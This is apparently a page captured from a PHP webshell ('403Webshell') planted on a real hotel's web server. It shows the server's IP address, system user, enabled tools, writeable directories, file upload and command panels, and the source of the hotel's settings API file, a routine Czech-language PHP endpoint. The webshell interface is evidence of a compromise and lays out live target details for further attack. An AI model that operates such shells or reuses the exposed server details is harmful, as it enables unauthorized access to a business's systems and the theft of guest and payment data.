403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.215
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/web/hotel_jservices_cz/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/web/hotel_jservices_cz/api/nastaveni.php
<?php
// ============================================================
//  Hotel DEMO — api/nastaveni.php
//  Čtení a zápis nastavení hotelu
//  Veřejný subset (název, hodnocení) dostupný bez přihlášení
// ============================================================

$action = $_GET['action'] ?? 'seznam';
$input  = json_decode(file_get_contents('php://input'), true) ?? [];

match ($action) {
    'verejne'  => nas_verejne(),
    'seznam'   => nas_seznam(),
    'ulozit'   => nas_ulozit($input),
    default    => api_response(false, null, 'Neznámá akce', 400),
};

// ------------------------------------------------------------
//  VEŘEJNÝ SUBSET — bez přihlášení (pro rezervační formulář)
// ------------------------------------------------------------
function nas_verejne(): never {
    $klice = [
        'hotel_nazev', 'hotel_telefon', 'hotel_email', 'hotel_adresa', 'hotel_web',
        'hotel_iban', 'hotel_vs_prefix',
        'uvodni_text', 'uvodni_text_en', 'uvodni_text_de',
        'checkin_cas', 'checkout_cas', 'uvodni_text',
        'rezervace_min_predem_dni', 'rezervace_storno_dni',
        'hodnoceni_verejne',
    ];

    $data = [];
    foreach ($klice as $k) {
        $data[$k] = nastaveni($k);
    }

    // Agregát hodnocení (pokud je veřejné zapnuto)
    if ($data['hodnoceni_verejne'] === '1') {
        $agg = db_row(
            'SELECT ROUND(AVG(hvezdicky), 1) AS prumer, COUNT(*) AS pocet FROM hodnoceni'
        );
        $data['hodnoceni_prumer'] = $agg['prumer'];
        $data['hodnoceni_pocet']  = $agg['pocet'];
    }

    api_response(true, $data);
}

// ------------------------------------------------------------
//  PLNÝ SEZNAM — vyžaduje přihlášení admin/manažer
// ------------------------------------------------------------
function nas_seznam(): never {
    $user = auth_check();
    auth_require_role($user, ['admin', 'manazer']);

    $nastaveni = db_rows('SELECT klic, hodnota, popis FROM nastaveni ORDER BY klic ASC');
    api_response(true, $nastaveni);
}

// ------------------------------------------------------------
//  ULOŽENÍ — vyžaduje přihlášení admin/manažer
// ------------------------------------------------------------
function nas_ulozit(array $input): never {
    $user = auth_check();
    auth_require_role($user, ['admin', 'manazer']);

    // Klíče které nesmí být prázdné
    $povinne = ['hotel_nazev', 'checkin_cas', 'checkout_cas'];

    // Klíče pouze pro admina
    $pouze_admin = [];

    $povolene = [
        'hotel_nazev', 'hotel_telefon', 'hotel_email', 'hotel_adresa', 'hotel_web',
        'hotel_iban', 'hotel_vs_prefix',
        'uvodni_text', 'uvodni_text_en', 'uvodni_text_de',
        'checkin_cas', 'checkout_cas',
        'rezervace_min_predem_dni', 'rezervace_storno_dni', 'min_pobyt_noci',
        'parkovani_kapacita', 'dobijeni_kapacita',
        'pripominka_zapnuta', 'pripominka_hodin',
        'hodnoceni_zapnuto', 'hodnoceni_hodin_po', 'hodnoceni_verejne',
        'uvodni_text', 'cislo_uctu',
    ];

    $chyby = [];

    foreach ($input as $klic => $hodnota) {
        if (!in_array($klic, $povolene, true)) continue;

        if (in_array($klic, $pouze_admin, true) && $user['role'] !== 'admin') {
            $chyby[] = 'Klíč "' . $klic . '" může měnit pouze admin.';
            continue;
        }

        $hodnota = trim((string)$hodnota);

        if (in_array($klic, $povinne, true) && $hodnota === '') {
            $chyby[] = 'Hodnota "' . $klic . '" nesmí být prázdná.';
            continue;
        }

        // Specifické validace
        if ($klic === 'hotel_email' && $hodnota && !filter_var($hodnota, FILTER_VALIDATE_EMAIL)) {
            $chyby[] = 'Neplatný formát e-mailu hotelu.';
            continue;
        }
        if (in_array($klic, ['checkin_cas', 'checkout_cas'], true)) {
            if (!preg_match('/^\d{2}:\d{2}$/', $hodnota)) {
                $chyby[] = 'Neplatný formát času pro "' . $klic . '" (očekáváno HH:MM).';
                continue;
            }
        }
        if (in_array($klic, [
            'rezervace_min_predem_dni', 'rezervace_storno_dni', 'min_pobyt_noci',
            'parkovani_kapacita', 'dobijeni_kapacita',
            'pripominka_hodin', 'hodnoceni_hodin_po',
        ], true)) {
            if (!ctype_digit($hodnota) || (int)$hodnota < 0) {
                $chyby[] = '"' . $klic . '" musí být kladné celé číslo.';
                continue;
            }
        }

        db_query(
            'INSERT INTO nastaveni (klic, hodnota) VALUES (?, ?)
             ON DUPLICATE KEY UPDATE hodnota = VALUES(hodnota)',
            [$klic, $hodnota]
        );
    }

    if ($chyby) {
        api_response(false, ['chyby' => $chyby], implode(' ', $chyby), 400);
    }

    // Vymazat cache nastavení (statická proměnná v db.php)
    // Při příštím volání nastaveni() se načte čerstvě z DB
    api_response(true, null);
}

Youez - 2016 - github.com/yon3zu
LinuXploit